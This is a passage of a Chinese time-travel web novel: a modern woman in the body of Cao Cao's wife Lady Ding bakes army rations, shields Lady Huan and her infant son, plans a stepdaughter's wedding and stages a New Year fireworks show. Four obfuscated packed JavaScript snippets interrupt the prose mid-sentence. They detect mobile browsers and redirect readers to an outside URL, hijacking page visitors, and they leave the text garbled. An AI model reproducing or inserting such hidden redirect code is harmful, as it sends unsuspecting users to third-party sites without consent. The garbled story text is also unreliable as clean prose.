直接找福叔的话,有争宠嫌疑。于是,丁瑶打算启用新人。 负责院子洒扫工作的丫头小桃是丁夫人后院的老员工,只是因为相貌有碍观瞻,小时候生病一脸麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555554|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子坑,丁夫人不让她近身伺候,怕曹操来了嫌碍眼。 但她是个机灵的人。也许是因为毁容了心思敏感,哪里有点风吹草动她都会知道。而且她负责去后厨拿食材、去库房拿炭火,和外面打杂的小哥熟络聊天,不会引人注目。 千万不要小瞧打杂的小哥哥小姐姐,他们就是古代的互联网。 既然要请人办事,就得拿出诚意。 寻常金银自然能让她欢喜,但也只是欢喜一时。真正能解燃眉之急、让她放心的,是她家里的事。 小桃家里穷,没什么人脉,家里把她卖了当丫鬟换钱,就是为了让她弟弟读书识字,将来有个官当,哪怕是个芝麻官也算光宗耀祖了。 可东汉时期没有科举,而是通过举孝廉入仕,比如刻木事亲、卧冰求鲤啊,像她弟弟这种让老母亲砸锅卖铁卖姐姐供读书的,只能算啃老,不算孝廉。 东汉末年朝廷衰微,官场腐败,除了正常入仕途径,还可以行贿,也就是买官。 有才之人报国无门,买官。 无才之人滥竽充数,也买官。 大官小官皆可买,因此官场鱼龙混杂。 曹操的父亲曹嵩曾花高价贿赂宦官,最终买到了太尉的职务,并且为曹操洗白宦官之后的黑料投入重金。 曹操是正规的举孝廉入仕,在那个混乱的年代,能举孝廉比现代考公上岸还难,因此曹操对自己走上仕途的道路很自豪,同时也痛恨卖官鬻爵的腐败行为。 再说到丁夫人的婢女小桃。 小桃的弟弟走投无路,想买个县里的小官当当。小桃曾求丁夫人疏通关系,借点银钱给弟弟买官,但丁夫人知道曹操痛恨此事,便拒绝了小桃。 如今朝廷就是这个风气,丁瑶想利用此事收买小桃人心。一是花小钱买县里的官,做不好也不至于祸国殃民。二是谁说买官一定就做不好。 丁瑶帮小桃的弟弟陈遇得到许县官职。 多年后,陈遇成了满宠的手下,是曹魏时期公正清廉和严格执法的代表之一。 当然这些都是后话。 ** 半个月后。 曹操回府,迎面看见丁夫人的贴身丫鬟七喜。 七喜毕恭毕敬说:“司空大人,夫人知您近日烦忧,特意准备了点心,请您一同品尝。” 曹操诧异。这是阿瑶离家出走归来后,第一次主动邀请他。 接着,他又不悦的回忆起那日她和侧夫人们一起打牌娱乐、不在意他的样子,脸又沉了下来。 哼,他气还没消呢,别以为一点儿蝴蝶酥、桂花糕就能让他开怀。 曹操心里嘀咕着,腿还是不由自主朝丁瑶住的小院走去。 9. (九)环夫人本尊 曹操没让其他人跟着,他走进院子,一眼便看见丁瑶笑盈盈地站在门口。 丁瑶微微欠身行礼,曹操点下头,迈步进屋子。 外面已是深秋,房间却温暖如春,冲散他身上的寒气。 屋内点了熏香,淡淡香气萦绕鼻间。 曹操平日不在意这些,书房用什么香,衣服如何熨烫都是下人的事,他并无偏好,因此他不清楚丁瑶点了什么香,只知这香味淡雅清新。 近日令他头疼的事太多,这点清香好像有提神醒脑的功效,让他太阳穴的肿胀感消退些许。 丁瑶为曹操倒满茶,拉他在桌边坐下。 桌案上摆放一个不起眼的碟子,里面像砖头一样齐齐摆放一小叠长条状深色的东西,不仔细看真不知这东西能吃。 曹操心里的不痛快和小算盘飞到九霄云外,阿瑶如此着急拉他看这些奇怪东西,必有深意。 “这是何物?”他主动询问。 丁瑶笑着递给他一块糕:“表哥尝尝。” 曹操吃了一小口,有一点油有点干,但不难下咽。他评价道:“味道偏咸,不是寻常食用的糕点。是什么?” 丁瑶点头:“此物名为压缩糕点,用了十倍的麦子粉、鸡蛋、牛乳、豆油、果仁制成,非平日食用,而用在行军路上。” 曹操盯着手中其貌不扬的东西,微锁的眉头逐渐开解。 他惊讶:“这一块小东西,竟抵得上十份口粮?” “十份有点夸张了,我粗略估计,一块压缩糕点相当于四碗白饭。” 曹操点头:“行军打仗路途遥远,只有将军能吃点肉菜干,其他将士们风餐露宿,每日吃糙米饼、白饭没有味道,难免士气低落。有了这个糕点,能给舌头增点味道,也不错了。” “表哥说得是。”丁瑶有点小得意道,“出征打仗路途遥远,粮草押送难度大,遇上敌军突袭还有损失,风险极高。若将士手中存点体积小、方便携带的应急口粮,危难时不至于饿肚子。” “阿瑶有心了。”曹操口吻淡淡,但漆黑的眼睛发亮,足见内心的喜悦。 丁瑶心里更愉悦,心想自己这次押宝压对了。果然只听曹操感叹:“每次出征我都为粮草的事担忧,为避免断粮往往速战速决。若与敌军僵持不下或遇天灾无法赶路,宰马为食、饥饿作战是常事。明年开春我欲发兵南下,近日正在为粮草发愁,阿瑶做出的吃食解决我心病。不只是心病,头疾似乎也好了。” 宰马为食、饥饿作战……不止吧,还有把死人尸体做成肉干混入粮食中的可怕经历。太恶心了,丁瑶不可说。 她想了下说:“压缩糕点携带方便,可制作困难,哪怕每位将士带一块,也要成千上万的材料,靠我一个人肯定不行。” 曹操道:“好说,派些人去采购食材,再找几个军中炊事学了这门手艺。不过夫人不便出面,你把制作方法写下来,让他们照着学便是。” “听表哥的。”丁瑶点头说。 堂堂司空夫人和军中庖厨混在一起的确不成体统,丁瑶理解,可压缩糕点没有她的技能,怕是“压缩”不了了。 也罢,她本意就是让曹操高兴一下,也不是真的希望自己能解决什么问题。反正就算没有她,面前这位该赢的仗也会赢。 “不过……”曹操眯眼笑,“我的那一份,要劳烦夫人亲自下厨了。” 丁瑶立刻道:“那是自然,保证完成任务。”只要您老人家高兴,别说压缩糕点了,自热盒饭我都能做出来。 曹操笑了笑,果然心情很好。他招呼下人进来准备沐浴更衣,看样子今晚要留宿了。丁瑶想起那一晚的缠绵经历,不由面红耳赤。 沐浴用的热水烧好,床榻铺好。 丁瑶坐在床边,紧张地扣手指头。 然而就在这时,管家福叔忽然跑进院子,边拍门边气喘吁吁道:“司空大喜啊!环夫人生了!” 半条腿迈进浴桶的曹操听后顿了下,对着门外问:“生的什么?” “是一位公子,长得可好看了!” “好啊!甚好!”曹操把腿从浴桶收回来。他披上衣服,嘱咐了丁瑶几句后,急匆匆随福叔出门。 床边的丁瑶长出口气,仰面横倒在榻上摆成一个大字。 守在外面的七喜见曹操走了,立马进来,又气又闷地道:“早不生晚不生,偏偏这时候生。司空重视儿子,听说生了位公子立马走了。” 丁瑶拼命回忆着。她对这位环夫人印象不深,姓什么叫什么也不知道,她从不在府里走动,不和其他夫人来往,就连前几日风靡一时的麻将牌也不见她参与。 据说某一日曹操喝到半醉,一时兴起宠幸了她,酒醒以后发现这不过是个十四岁的小姑娘,长得也不在他兴趣点上,因此后悔不已。 姑娘胆小,不敢求什么,曹操本意是在城里给她个住处给点钱安抚一下就罢,没想到她是运气太好还是太不好,一夜就中奖。 既然怀了孩子,曹操就不能把她扔在外面不管,于是收进府来当了侧夫人。虽然是侧夫人,衣食供应不缺,可也只是看在孩子的面,她的面,曹操再没有见过。 曹操喜欢妙妇,不喜欢少女。自己快活一夜后把人家姑娘抛在脑后,耽误了她的一生。自古男人尤其是官宦人家一向重男轻女,就算曹操不喜欢这个夫人,可生下儿子他还是很高兴的。这不,福叔一说生了位公子,曹操澡都不洗了,直接跑出门去。 丁瑶心里不屑地冷笑,因为四下无旁人,她懒得装了,冷笑慢慢显露在脸上。七喜以为丁瑶生气,立马说:“夫人也不用担心,哪怕她生了公子,母亲不受宠没地位,还是成不了气候。” 丁瑶摇头:“我不是气这个,是觉得可惜罢了。” “夫人正当年,仔细调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555555|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理身体,以后肯定会有孩子。” 丁瑶还是摇头,不解释了。十四岁就生孩子,可怕的封建社会。 环夫人生下小公子的第二日,就听说曹操极喜爱这个孩子,给他取名叫曹翀。 曹翀?曹冲?是历史上称象的那个聪明小孩吗? 同音不同字,丁瑶不敢乱猜测。但毫无疑问,曹操对这个孩子极为重视,大家都认为环夫人此番要母凭子贵了,纷纷来探望环夫人。 丁瑶做为正妻,不能不表示,否则落在他人眼里就是善妒。她带了祝福孩子平安长大的百家被看望环夫人,迎面看见卞纾从环夫人处走来。她刚探望过环夫人,脸色不太好。 卞夫人向丁瑶欠了下身,好心提醒:“司空在里面,环儿正在哭闹呢,我劝丁姐姐先别进去。” “月子里忌大哭,这是怎么了?”丁瑶问。 卞夫人说:“司空觉得环儿年龄小、身份低,怕养不好翀儿,想把孩子抱给其他夫人养。尤其是丁姐姐,司空特意提到您,说您膝下无子,照顾翀儿一定会尽心尽力。” “我?”丁瑶此时也不在乎卞夫人是不是在讽刺她没孩子了,而是吃惊自己即将要养孩子。 卞夫人叹气:“不能怪司空狠心。我今日第一次瞧见环儿,她模样长得还可以,就是说话不利索有点口吃,小公子跟着她还不得学结巴了。她住的地方还不如我院子里的大丫头,别说司空了,就连我都不放心她养孩子呢。” 丁瑶反驳道:“世间最悲惨的事莫过于骨肉分离。我若此时不去,一旦表哥决定了,我就成了害得他们母子分离的恶人。” 丁瑶在七喜的陪同下,来到环夫人住的地方。环夫人没有自己的院子,只住在府邸最角落的一个屋子,房间朝西,冬天冷夏天热,最近来探望的人多,礼物放不下有些都堆在门外。 难怪卞夫人说她的生活水平不如府里的大丫头。 屋里传来吟吟哭声,以及曹操隐约有点不耐烦的声音,夹杂着孩子的啼哭,这偏僻的小房间显得更加冰冷。 都说母凭子贵,或者子凭母贵。可哪怕生下曹操喜爱的小公子,她也没得到宠爱,甚至连基本的尊重都没有。 她只是怀孕了不得不进府,为曹操生孩子的工具而已。 七喜敲门通报,得到允许后,丁瑶推门走进屋子。 屋子倒也暖和,环夫人刚生产完,添了一个炭盆,只是房间十分闭塞窄小,丁瑶的仓库都比这个大。 曹操不耐烦地摆手说:“表妹来得正好,我正准备把翀儿抱过去,交给你抚养。” 丁瑶没说话。她转脸看见泪眼婆娑、结结巴巴的环夫人,先是一愣,后是疑惑,最后像突然看见什么惊奇的事物,不敢相信地睁大眼睛。 这个环夫人,竟然和初中时期的自己,有七分相像。要不是她说话磕巴,丁瑶真以为她在现代的原身穿越过来了。 10. (十)婚事 关于丁瑶那场穿越,她依然没想明白。 都说穿越会有媒介,比如一件古物、一个天相之类的,可她身边什么怪事都没发生。 她只记得自己熬夜加班写方案,被领导催着改,写了又改。就在她起身想再接一杯咖啡的时候,整个人身体一软,昏死过去。 耳边有同事的叫喊,有救护车的呼啸,有急救设备嘀嘀嘀的声音。 她以为自己醒来会在医院,或者直接宣布猝死,没想到醒来后她躺在荒郊野岭,灵魂锁在丁夫人的身体里。 也许……自己真的猝死了,死后灵魂穿越。 而面前的这位环夫人,丁瑶越看越觉得她长得像十四五岁的自己,小脸没有长开,身体没有发育,哭兮兮的模样好像被父母骂过的孩子,和一群花枝招展的夫人们站在一起就是个乳臭未干的丫头片子,哪里像孩子娘。 “见……见过……见过丁……丁夫人。”环儿磕磕巴巴地说。她咬着牙齿,努力说完整句子,可还是不由自主结巴嘴。 丁瑶依稀记得原身丁夫人小时候家中有个习俗,每年年节会请方士驱邪保平安。方士间有个说法叫神魂分离,又叫失魂症。 面前的环儿原来家境不错,就是因为被家人认为得了失魂症嫌晦气,才不闻不问的。可丁瑶觉得她除了口吃外,并无其他疾病,也不像脑子痴傻的人。 听见环夫人磕巴嘴,曹操脾气更不好。 他不信神佛,可很奇怪自己居然见到曹翀第一眼,就十分喜爱这个孩子,仿佛冥冥中的缘分。 都说爱屋及乌,他不喜欢环儿,却很喜欢曹翀。 可他的亲娘是个连完整句子都说不出的女人,如何能教育好孩子。 曹操对丁瑶道:“夫人也看到了,环儿这个身体情况根本无法照顾孩子。你没有亲生孩子,若我把翀儿交给你抚养,你可愿意?” 环儿双目通红,嘴里发出痛苦的啊啊声。 丁瑶叹气:“骨肉分离,实在残忍。” 曹操道:“只要为了孩子好,有何不可。再说同住一个府上,时常能见到,哪里算得上分离。” 环儿哭得没力气,小脸惨白,眼下一片乌青。 丁瑶其实并不在意孩子由谁养,反正大都是乳母起夜照顾,她养了翀儿就是多个伴,院子里也能热闹些。 可她见环儿如此,实在不忍心。不是心疼环夫人,而是她这张脸和自己小时候太像了,她无法看到“自己”露出这般任人宰割的苦相。 她深吸口气,跪了下来。 丁夫人极少在曹操面前行此大礼,曹操一时也怔住了。 “多谢表哥好意,可阿瑶不能抚养曹翀。”丁瑶言辞恳切,“阿瑶虽无亲生孩子,却是看着蓉儿他们姐弟三人长大的,不是亲生但似亲生,深知养大一个孩子不容易,也知母子之情最难割舍。若非生母早逝,蓉儿他们三人承欢膝下会更幸福。如今环儿尚在,即使口齿不伶俐,可她是孩子生母,爱子之心是任何人无法替代的。表哥若不放心,选个好一些的乳母照料,再换个好住处便是了。” 曹操深思片刻,道:“话虽如此,可孩子效仿母亲言行,环儿如此,怎能养育好孩子。” “我……我……可以……不……不说话……”环夫人急了,更加难言。 丁瑶打断她道:“孩子效仿母亲,正是因为天性和依恋,表哥喜爱翀儿,就更不要让他离开生母。至于表哥担心的事嘛……”她顿了下道,“孩子身边又不只有环儿,他学说话又不只听一个人言语。再说了等孩子大了找开蒙师傅,表哥器重翀儿可以找博学的先生教导他,定能成才。” 曹操眉头没有松开,还在犹豫。 丁瑶继续道:“我拉扯三个孩子长大,已经心有力而余不足。蓉儿一直挂念生母,和我难以亲近。其他两个孩子和我亲近些,但每逢生母祭日,依然偷偷抹眼泪。他们的母亲已去世多年尚且如此,若翀儿大了知道自己的父亲嫌弃生母口齿问题,不让他和母亲住在一起,怕是会伤了孩子的心。” 沉默许久,曹操长出口气,摆摆手说:“行了,此事暂且作罢。” 曹操这么说,便是同意环夫人亲自抚养曹翀了。 丁瑶还未说什么,环夫人已经连滚带爬下床,磕头谢恩。 丁瑶诧异,心里“咦”了一声。这环夫人岂止是没有失魂症啊,嘴巴有点口吃,但脑子聪明得很呢。 三日后,曹操为曹翀挑选的乳母进府,跟随乳母的还有两个得力的丫鬟,月夕和月牙,专门进府伺候环夫人和小公子的。又过几日,环夫人搬离原来的小破屋,换了个新院子住,房间大许多,还和曹操住的地方近了些。 其他侧夫人们私底下嘲笑丁夫人,说她不但放弃养育小公子的好机会,还给白白给自己树立一个情敌。原本不受待见的环夫人又搬家又添下人,恩宠指日可待。 丁瑶对外面那些乱七八糟的话置若罔闻,环夫人得不得宠,有没有情敌,她一点也不在乎。眼下最要紧的是曹蓉即将出嫁,她身为养母需要准备丰厚的嫁妆,忙着女儿婚事。 自从丁瑶找曹丕帮忙劝说,让曹老板放弃丁仪,把曹蓉许配给英姿飒爽的夏侯楙,曹蓉如释重负,对丁瑶这个养母态度也改观了,平日里亲近很多。 古时候女子出嫁,嫁衣要自己缝制绣花,母亲则在新婚当日为她梳妆打扮。 许嫁之期临近。 曹蓉来到丁瑶住处问安,并提出希望丁瑶在她出嫁之日,为她梳头盘发,以表达母亲对女儿未来的期许和祝福。 除了丁夫人,府上没有比她更合适的人了。 见丁瑶犹豫,曹蓉委屈道:“母亲可还介意我之前顶撞您的事?女儿知错了,母亲责骂都可以。您和父亲情投意合,是婚姻长久的好兆头,女儿出嫁之日不能没有母亲的祝福。” 婚姻长久、情投意合吗?丁瑶苦笑,历史上的丁夫人可是写休夫书震惊司空府的第一人。 何况她也不算曹蓉的母亲,她在现代还是单身狗,由她来给曹蓉梳头岂不是寓意不好? 但丁瑶无法解释,又担心曹蓉误会。既然推脱不了,她就以丁夫人的身份应下了。只是,她不好意思地笑了笑:“蓉儿啊,母亲很少给人束发,手有点生,怕到那日梳不了太复杂的发型。” 曹蓉笑,拉着丁瑶的手说:“只要是母亲为我梳头,怎样都行。” 丁瑶默默掰手指头算。还有五天,她需要好好练习如何盘古代发型,如何描眉化妆。不是不能用技能,而是曹蓉大婚时她身为主母需要在外面操持,可不能给女儿梳妆后就昏睡过去了。 接下来几天,丁瑶拿七喜练习盘发、编发、戴头冠等各种新奇的发饰。丁瑶在现代拍过古装写真,对一些很仙很美的发型有研究,多多练习能模仿七八成。 曹操见她对女儿婚事如此上心,十分欣慰,这段时间便由着她布置院子、贴喜字、张灯结彩、准备宴席。 大婚当日,曹蓉手持团扇,跪拜曹操和丁瑶。 “曹蓉拜别父亲、母亲。” 团扇是丁瑶亲手做的,孔雀羽扇富贵大气,给曹蓉清秀的面庞增添几分华丽。 曹操欣慰地点头:“即使蓉儿出嫁了,也永远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555556|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是曹家长女,司空府永远是你的家。” “多谢父亲、母亲。” 接亲的夏侯楙拜谢岳父岳母,携新妇离开司空府。 曹蓉虽离开,司空府的宴席还没结束。一直到晚上,曹操和丁瑶笑脸送走最后一波客人,才真正松快下来。 丁瑶揉了揉酸困的腰,有些站不住了。曹操扶着她,笑道:“表妹嫁给我的日子仿若昨日,没想到已经过这么多年,如今蓉儿都成家了。” 丁瑶问:“表哥还记得大婚当日我说了什么吗?” 曹操自嘲一笑:“呵,怎么不记得,你说你困得眼睛睁不开,把我赶出了洞房。” “呃……”确有此事,丁夫人真是胆子大啊。 “你我虽然打小认识,可一直是兄妹相称,忽然娶亲变夫妻,也不怪你不适应。”他停了下,似乎想到什么,一把揽过她的肩膀,让她靠在自己怀里说,“我曹孟德从来不做强人所难的事。” 丁瑶心里五味杂陈。 老实说,曹操对丁夫人还算不错,从前对丁夫人十分尊敬,如今对丁瑶除了尊敬外还多了点体贴,尤其是她离家出走闹完以后,对她似乎更上心了。 果然,小作怡情。 那么以后的日子呢? 丁瑶记得历史上的丁夫人是因为曹操贪恋美色误事,害死了她最疼爱的曹昂,于是给了曹操一个巴掌两人彻底决裂。 这件事是何时发生的呢?具体是那一场仗误事的呢? 丁瑶不记得。 如今的丁瑶对曹昂没有那么深的感情,他死了固然可惜,但也不至于为他大悲大痛。而曹操本就大猪蹄子见一个纳一个,丁瑶不介意他再多贪个美色。 待到那件事发,她不至于撕破脸扇他巴掌吧? 那她接下来如何,是装作很痛苦和曹操离婚,然后回老家躺平? 还是继续留在司空府,丰衣足食,等着曹老板日后开疆拓土带着她飞? 这两条路似乎都可行,如何走,看她到时候的心情吧。 带飞?似乎也不错? “想什么呢?”曹操收紧手臂,让她的身体完全贴在他身上。 丁瑶说:“我觉得表哥不是很开心,是已经开始思念蓉儿了吧。” “你可看到今日来府的宾客了?” “嗯。” 曹操语气低沉:“前来道贺的都是随我迁都许昌的曹氏族人或新提拔的官员,跟随汉帝的老臣一个没有来。他们自诩氏族大家,清高得很,而我曹操是宦官之后,出身低微,他们耻与我为伍。” 丁瑶深知曹操虽然总拿出身自嘲,装作不在意,但心里比谁都在乎。 她佯做不经意,笑道:“我只知道英雄不问出处。出身权贵也好,普通人也罢,如今谁在这个位子上才是重要的。至于那些阴阳怪气的话,想听就听,不想听就当听不见,一切留待来日。” “嗯,说得是。”曹操声音很低,听不出喜怒。 天色不早,丁瑶实在太累,欠身告退。 她回到院子,如释重负长吐口气,喊道:“七喜。” 小丫头立马跑出来。她往丁瑶身后张望,确认是她一人回来了,奇怪曹司空怎么没来。 “表哥有要紧事处理,我就先回来了。七喜,把我的麻将拿出来。” “这么晚了,夫人要做什么?” 丁瑶伸伸懒腰:“终于忙完蓉儿的婚事,闲下来了,我要开始玩儿!” 丁瑶真的是闭门开玩了。 半个月后,曹操定下明年开春的南征计划,目标是宛城张绣。 11. (十一)过年节 环夫人产子,曹蓉出嫁后,府上平静很长一段时间。曹操为了年后的战事,忙着筹备物资军饷,整顿练兵,忙得不见人影。丁瑶除了在温暖的炕房里和其他夫人们围炉吃火锅、玩麻将外,便是着手准备年节的事。 曹操过年节一向简单,有几年甚至在外面打仗,过年也没回家,所以丁夫人从没有大操大办过。如果曹操在就吩咐准备年饭,大家聚在一起吃。如果曹操不在,每年做完固定的洒扫、祭祀、发过年钱后,大家就各自回院子了。 今年皇室迁都许昌,是件大事,曹操留在许昌过年。本来丁瑶打算好好筹备大过的,可她正准备到兴头上,就听说宫里传话说年节当晚皇上在宫中设宴,犒赏对汉室有功之臣。 曹操也在受邀名单之内。 皇上邀请,曹操必然得去。不但要去,还不能空手,必须送上年节贺礼。给天子送礼物太讲究了,既不能太贵重,又要心意十足,最好是那种不太起眼却送到皇上心尖上的东西。 相传当日曹操救天子于废旧皇宫中,觐见之礼是刚煮好的香喷喷肉汤。一碗热腾腾的肉汤让那些满口大义的老臣吃得忘乎所以,脑子里只有吃饱饭穿暖衣的事,哪还有别的谋算韬略,当下便赞同天子迁都许昌。 曹操琢磨给天子送礼的事,丁瑶按部就班准备年节的事。没想到曹老板给她布置了新工作。 丁瑶一听,有点奇怪:“给宫宴准备节目?皇宫自有礼乐,我这点小把戏哪登得上台面?” 曹操笑:“就因为小把戏,才出其不意。” 丁瑶多少了解曹操的性子,大多时候雷厉风行、暴戾乖张,有时漠视规则,有时原则性极强。有时能永夜抒怀诗兴大发,有时又带着孩子般的调皮和趣味,是个极其复杂多变的人。 而这次让丁瑶准备宫宴节目,在她看来,就是曹操孩子趣味的心性大发了。无论宫宴是否顺利,他最后都能来一个:看,我哄得大家多高兴,哈哈哈!跟着我曹操就有肉吃! 丁瑶原本还在犹豫,毕竟凡事和皇室牵扯上就很麻烦,无论你这个皇上是有权还是无权,那也是天子啊! 可当她从千里眼顺风耳小桃嘴里听到,是卞夫人向曹操建议由丁夫人准备宫宴节目时,丁瑶瞬间明白了,这是卞夫人向她宣战啊。 想一想近一段时间,她确实有点招摇,虽然她待在院子里远离是非,可有曹操的地方就有是非,曹操近期可没少去她小院里。 她也不想,可也不能把老板赶出去吧! 有本事你卞夫人再多想想招把曹老板引回去啊! 战书已下,曹老板也决定了,丁瑶赶鸭子上架不得不干。 按照规矩,她本人不得进宫。就算现编排歌舞让艺人进攻献艺,时间来不及不说,外面的歌舞哪比得上宫里的舞姬。 卞夫人就是算准这点,才为难她的吧。 偏偏曹老板兴致一起,就把工作布置下来了。虽然曹老板本人也会送礼,她这个节目是锦上添花,可也不能搞砸了。 还有什么节目能让天子眼前一亮呢?魔术?杂技?别说她不会,就算会,现在教人也来不及了。 给天子进献满汉全席?不行,吃的绝对不行。不说合不合皇上口味,万一吃拉肚子,谋害圣上的罪名就跑不了了。 有什么是不用天子动手就能看,不用安排人进去就能演,还是大家都没有看过,且自己动手就能做出来的呢? 丁瑶坐在院子,怀中抱着手炉,望着枝头缠绕的年节装饰彩带思考。 忽然,灵光一现,一副色彩斑斓的画卷在脑海里绽放开来。 ***** 年节当天,许昌下起了鹅毛大雪,飘飘扬扬十分好看。 七喜望见银装素裹太兴奋忘了规矩,一大早就唤丁瑶起身,生怕自家夫人错过美景。 丁瑶最近忙着准备宫宴收尾节目,耗费不少点技能,贪睡了好几日。今早被七喜吵起来有点起床气。 她家在北方,年年有雪景,无甚兴奋。她打了个哈欠,伸着懒腰说:“我起了,你进来吧。” 伴着门外的寒气和几片碎碎的雪花,七喜端着洗漱喷进来,身后跟着的小桃带了新年衣物。 新年新气象,曹操给各个院子的夫人、公子、小姐都送了新衣。丁瑶做为正室,可穿正红色,裙裾上用金线绣了牡丹花样,裙摆宽大,走起路来如花朵盛开。玉簪和耳饰也是新做的,色泽饱满,一看便知价值不菲。 小桃一边伺候丁瑶梳妆,一边说:“奴从福叔那里取来新衣,打眼一看,夫人这里的东西是最华丽最耀眼的。其他院子的夫人有新衣,可颜色淡一些,也没有新首饰。” 这便是封建社会女人当正妻的好处了,哪怕妾再受宠,礼节上也不能压过正室。 丁瑶轻轻打了一下小桃的手,笑说:“小桃,你又犯忌讳了。在我院子里,不必自称奴。” “是,小桃知道了。夫人对小桃恩重如山,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555557|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃铭记于心。”小桃毕恭毕敬。 “你们用心待我,我都知道。只不过,我院子里有什么,别人家没什么的话,在我这里说说就罢,出去别乱说,免得招人嫉妒。” “是。”七喜和小桃同时说。 丁瑶心里叹道,她不争宠都能引来卞夫人使暗招,要是大肆显摆自己的衣服首饰,估计又要生事端了。 她对小桃说:“新衣服穿上吧,新耳坠和头饰不戴了。晚上还要安排节目,不宜戴太华贵的。” 小桃应是。 ***** 曹操用过早饭后,就离开府邸进宫了。 据说曹操昨天夜里终于定下给汉帝刘协的年节贺礼。他准备把自己的二女儿曹宪送入宫中,成为汉帝的妃子。 这一提议让众人哗然。 曹宪还是个刚满十岁的孩子,如何能成婚。 但曹宪的生母杜氏对此毫不在意,能嫁给皇室,哪怕是襁褓婴儿她都高兴。十岁又如何?大不了等四年及笄后再礼成便是。 因此丁瑶带领一群侧夫人们祈福、祭祀时,杜夫人有意站在卞夫人前面,想压过她的风头,好像在告诉别的夫人自己已经是皇上的半个岳母了。 丁瑶对她们私底下的小打小闹不甚在意,她请了当地最德高望重的周方士到府里作法消灾,祈求来年顺遂。 祈福结束后,各院的公子小姐们撒开欢到院子里堆雪人、打雪仗,玩儿得不亦乐乎。夫人们围在一起聊家常,大家都穿了新衣,看起来神采奕奕、喜气洋洋。 环夫人因为生下曹翀,格外受重视,今年也和大家一起凑热闹。虽然不说话,可也不是从前只闷在院子里不见人的闷葫芦。 丁瑶送周方士离开。 临行前,周方士意味深长地看了看丁瑶,又把目光看向人群后的环夫人。沉默片刻后,他走向环夫人。 众人惊讶。 只听周方士对环夫人说:“这位夫人乃集万千宠爱在一身的宠妃命格,原本非富即贵,只可惜被人换了命。” 众人更诧异。卞夫人讥笑道:“这话应该送给宪儿吧,她未来才是皇帝的宠妃呢。” 杜夫人原本得意着,听到卞夫人讽刺的话,不悦之情显露出来。 环夫人则深深低下头,恨不能钻地缝。她是曹操的侧夫人,被人说有宠妃命格可不是什么好事。 只有丁瑶知道,曹操未来是当魏王的,他的夫人们可不就是王妃吗? 12. (十二)放烟花 戌时初,天色暗。 刘协一身赤黄色绣星月祥云纹的龙袍,在一众文官武将簇拥下,登上北城楼。 许昌皇宫分内外城,是曹操为迎接刘协修建的,结构参考了长安、洛阳的宫殿。虽然面积比长安旧宫小一点,可该有的城郭、殿阁、楼宇、祭坛,一应俱全,皇家气象不减一分。 市井百姓难见天子真容,纷纷挤在城下,乌泱泱跪倒一片。沿途的护卫军也跪下来,齐声高呼万岁。 漆黑的夜空下,声势震天,气势恢宏。 “陛下请看,他们都是陛下的子民。”曹操大手一挥,指着城下,用气吞山河的口吻道。 刘协看着不远处黑压压的铁甲军队,心里一紧,面上保持平和的笑意:“曹爱卿,这些都是你的手下吧?” 曹操摇头,郑重道:“不,他们都是天子的军队。” 年轻的刘协戴着冕冠,看起来比曹操高了足足一头。他手持佩剑,剑鞘黄金制成,貂毛装饰无比华贵。他虽是在场唯一可持兵器者,可看上去依然孤立瘦小。 哪怕身后有不少支持他的汉臣,可手无兵权,他依然孤立无援。 “万岁!万岁!万岁!” …… “万岁!万岁!万岁!” 城下喊声如雷,震动天地,城墙上的人们为之一振。 明明是年节祝贺,偏偏喊出千军万马的气势,有种山雨欲来的凝重感。 刘协笑得局促,不自然道:“爱卿一把爱女赠予朕当贺礼,眼下这个礼,又是何意?” “陛下请看。”曹操指着远方,目光如炬:“那里,才是臣送给陛下的礼。” 刘协顺着他手指的方向看去,其他人也随之张望。 突然间,一束束亮光划破远方的黑暗,犹如流行划过,又似天女散花。一道道明亮的光线冲向天际,接着在最高处绽放,释放出耀眼的光芒,如盛开的花朵,层层叠叠的花瓣在夜空中缓缓展开,色彩斑斓。 红色、黄色、蓝色、绿色交织在一起,仿佛打翻的调色盘,散落满天的颜料。有的则像瀑布般倾泻而下,金色的火花如同流水,璀璨夺目。 